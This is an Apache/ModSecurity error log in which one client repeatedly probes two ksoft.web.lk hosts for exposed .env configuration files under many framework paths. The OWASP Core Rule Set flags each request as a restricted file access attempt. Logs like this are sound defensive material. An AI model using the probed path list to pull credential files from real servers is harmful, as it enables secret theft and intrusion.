[Fri Jul 17 09:14:16.321257 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEOjME1mgqYZ5O94pUAAAAAE"]
[Fri Jul 17 09:14:16.370620 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlEI1dLClkUfK_dfHnzgAAAAI"]
[Fri Jul 17 09:14:16.492179 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /magento/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/magento/.env"] [unique_id "almlECRF0UOO1RzB5_8xNgAAAA4"]
[Fri Jul 17 09:14:16.492440 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/magento/.env"] [unique_id "almlECRF0UOO1RzB5_8xNgAAAA4"]
[Fri Jul 17 09:14:16.492769 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlECRF0UOO1RzB5_8xNgAAAA4"]
[Fri Jul 17 09:14:16.540585 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.stage"] [unique_id "almlEA5GPQ6hs4VrfMpE4wAAAAY"]
[Fri Jul 17 09:14:16.547423 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.stage"] [unique_id "almlEA5GPQ6hs4VrfMpE4wAAAAY"]
[Fri Jul 17 09:14:16.659403 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shopify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/shopify/.env"] [unique_id "almlEFh1WDijTxd1xw5PZgAAAAc"]
[Fri Jul 17 09:14:16.659691 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/shopify/.env"] [unique_id "almlEFh1WDijTxd1xw5PZgAAAAc"]
[Fri Jul 17 09:14:16.659968 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEFh1WDijTxd1xw5PZgAAAAc"]
[Fri Jul 17 09:14:16.726520 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:16.752691 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlEA5GPQ6hs4VrfMpE4wAAAAY"]
[Fri Jul 17 09:14:16.826956 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/prestashop/.env"] [unique_id "almlEPwooI4qY7Jg93pYjgAAABM"]
[Fri Jul 17 09:14:16.827226 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/prestashop/.env"] [unique_id "almlEPwooI4qY7Jg93pYjgAAABM"]
[Fri Jul 17 09:14:16.827513 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEPwooI4qY7Jg93pYjgAAABM"]
[Fri Jul 17 09:14:16.928648 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.ci"] [unique_id "almlEI1dLClkUfK_dfHnzwAAAAI"]
[Fri Jul 17 09:14:16.929816 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.ci"] [unique_id "almlEI1dLClkUfK_dfHnzwAAAAI"]
[Fri Jul 17 09:14:16.932333 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:16.998114 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /codeigniter/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/codeigniter/.env"] [unique_id "almlEIl9vhFBGA6D8l99GgAAAAw"]
[Fri Jul 17 09:14:16.998404 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/codeigniter/.env"] [unique_id "almlEIl9vhFBGA6D8l99GgAAAAw"]
[Fri Jul 17 09:14:16.998689 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEIl9vhFBGA6D8l99GgAAAAw"]
[Fri Jul 17 09:14:17.169164 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cakephp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cakephp/.env"] [unique_id "almlESRF0UOO1RzB5_8xNwAAAA4"]
[Fri Jul 17 09:14:17.169442 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cakephp/.env"] [unique_id "almlESRF0UOO1RzB5_8xNwAAAA4"]
[Fri Jul 17 09:14:17.169780 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlESRF0UOO1RzB5_8xNwAAAA4"]
[Fri Jul 17 09:14:17.198063 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlEI1dLClkUfK_dfHnzwAAAAI"]
[Fri Jul 17 09:14:17.336263 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:17.340982 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /zend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/zend/.env"] [unique_id "almlEbEWOaI5pmYo9fnRxgAAAAA"]
[Fri Jul 17 09:14:17.341299 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/zend/.env"] [unique_id "almlEbEWOaI5pmYo9fnRxgAAAAA"]
[Fri Jul 17 09:14:17.341583 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEbEWOaI5pmYo9fnRxgAAAAA"]
[Fri Jul 17 09:14:17.366520 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.docker"] [unique_id "almlEVh1WDijTxd1xw5PZwAAAAc"]
[Fri Jul 17 09:14:17.367736 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.docker"] [unique_id "almlEVh1WDijTxd1xw5PZwAAAAc"]
[Fri Jul 17 09:14:17.510675 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /yii/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/yii/.env"] [unique_id "almlEejME1mgqYZ5O94pUgAAAAE"]
[Fri Jul 17 09:14:17.510927 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/yii/.env"] [unique_id "almlEejME1mgqYZ5O94pUgAAAAE"]
[Fri Jul 17 09:14:17.511226 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEejME1mgqYZ5O94pUgAAAAE"]
[Fri Jul 17 09:14:17.570856 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlEVh1WDijTxd1xw5PZwAAAAc"]
[Fri Jul 17 09:14:17.679079 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel5/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/laravel5/.env"] [unique_id "almlETsMb3am0TgkjETd1wAAAAo"]
[Fri Jul 17 09:14:17.679308 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/laravel5/.env"] [unique_id "almlETsMb3am0TgkjETd1wAAAAo"]
[Fri Jul 17 09:14:17.679548 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlETsMb3am0TgkjETd1wAAAAo"]
[Fri Jul 17 09:14:17.733266 2026] [autoindex:error] [pid 2032156:tid 2032156] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:14:17.746274 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.live"] [unique_id "almlESRF0UOO1RzB5_8xOAAAAA4"]
[Fri Jul 17 09:14:17.747499 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.live"] [unique_id "almlESRF0UOO1RzB5_8xOAAAAA4"]
[Fri Jul 17 09:14:17.849164 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/v1/.env"] [unique_id "almlERHlOGcokz2QIwTWUgAAAAM"]
